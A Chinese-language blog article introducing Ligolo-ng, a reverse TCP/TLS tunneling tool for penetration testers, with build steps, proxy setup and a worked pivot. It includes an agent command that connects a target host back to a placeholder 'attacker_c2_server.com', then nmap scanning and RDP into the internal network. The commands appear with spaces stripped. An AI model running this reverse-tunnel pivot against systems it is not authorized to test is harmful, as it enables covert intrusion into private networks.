Molet

如何使用Ligolo-ng建立隐蔽的通信信道

Molet 安全防护 2022-12-23 438浏览 0

如何使用Ligolo-ng建立隐蔽的通信信道

关于Ligolo-ng

Ligolo-ng是一款高级信道工具,该工具基于TUN接口实现其功能。Ligolo-ng是一款轻量级的快速工具,可以帮助广大渗透测试人员利用反向TCP/TLS连接建立一条隐蔽的通信信道,而且无需SOCKS支持。

功能介绍

  • Tun接口(不再需要SOCKS);
  • 简单的UI界面,支持选择代理和网络信息;
  • 易于使用,易于安装;
  • 基于Let’s Encrypt的自动化证书配置;
  • 高性能(多路复用);
  • 不需要高级权限;
  • 套接字监听/代理绑定;
  • 多平台代理支持;

工具构建

(1) 构建Ligolo-ng

$gobuild-oagentcmd/agent/main.go
$gobuild-oproxycmd/proxy/main.go
#BuildagentforWindows
$GOOS=windowsgobuild-oagent.execmd/agent/main.go

(2) 安装Ligolo-ng

我们需要在自己的命令控制服务器上开启代理服务,默认使用11601端口监听:

$sudoiptuntapadduser[your_username]modetunligolo
$sudoiplinksetligoloup
$./proxy-h#Helpoptions
$./proxy-autocert#AutomaticallyrequestLetsEncryptcertificates

工具使用

首先,我们需要在目标设备上启动代理(无需特殊权限):

$./agent-connectattacker_c2_server.com:11601

此时,代理服务器上将出现一条会话链接:

INFO[0102]Agentjoined.name=nchatelain@nworkstationremote="XX.XX.XX.XX:38000"

使用“session”命令选择代理:

ligolo-ng»session

?Specifyasession:1-nchatelain@nworkstation-XX.XX.XX.XX:38000

使用“ifconfig”命令显示代理的网络配置信息:

[Agent:nchatelain@nworkstation]»ifconfig

[...]

┌─────────────────────────────────────────────┐

│Interface3│

├──────────────┬──────────────────────────────┤

│Name│wlp3s0│

│HardwareMAC│de:ad:be:ef:ca:fe│

│MTU│1500│

│Flags│up|broadcast|multicast│

│IPv4Address│192.168.0.30/24│

└──────────────┴──────────────────────────────┘

在代理/中继服务器上添加一条指向192.168.0.0/24代理网络的路由:

$sudoiprouteadd192.168.0.0/24devligolo

最后,在代理上开启一条通信信道:

[Agent:nchatelain@nworkstation]»start

[Agent:nchatelain@nworkstation]»INFO[0690]Startingtunneltonchatelain@nworkstation

现在,你就可以通过代理服务器访问192.168.0.0/24代理网络:

$nmap192.168.0.0/24-v-sV-n

[...]

$rdesktop192.168.0.123

[...]

支持的协议/数据包

  • TCP
  • UDP
  • ICMP

性能

在Ligolo-ng的帮助下,你可以轻松达到100 Mbits/秒的速度。下面给出的测试结果是在一台200Mbits/s服务器上使用iperf测试的一条200Mbits/s的链接:

$iperf3-c10.10.0.1-p24483

Connectingtohost10.10.0.1,port24483

[5]local10.10.0.224port50654connectedto10.10.0.1port24483

[ID]IntervalTransferBitrateRetrCwnd

[5]0.00-1.00sec12.5MBytes105Mbits/sec0164KBytes

[5]1.00-2.00sec12.7MBytes107Mbits/sec0263KBytes

[5]2.00-3.00sec12.4MBytes104Mbits/sec0263KBytes

[5]3.00-4.00sec12.7MBytes106Mbits/sec0263KBytes

[5]4.00-5.00sec13.1MBytes110Mbits/sec2134KBytes

[5]5.00-6.00sec13.4MBytes113Mbits/sec0147KBytes

[5]6.00-7.00sec12.6MBytes105Mbits/sec0158KBytes

[5]7.00-8.00sec12.1MBytes101Mbits/sec0173KBytes

[5]8.00-9.00sec12.7MBytes106Mbits/sec0182KBytes

[5]9.00-10.00sec12.6MBytes106Mbits/sec0188KBytes

-------------------------

[ID]IntervalTransferBitrateRetr

[5]0.00-10.00sec127MBytes106Mbits/sec2sender

[5]0.00-10.08sec125MBytes104Mbits/secreceiver

注意事项

由于代理并不是以高级权限运行的,因此无法转发原始数据包。当你执行“NMAP SYN-SCAN”的时候,代理上会执行一次TCP connect()。

在使用Nmap时,你应该使用“–unprivileged”或“-PE”以避免假阳性。

工具使用演示

视频地址:【点我观看】

项目地址

Ligolo-ng:【GitHub

继续浏览有关 安全 的文章
发表评论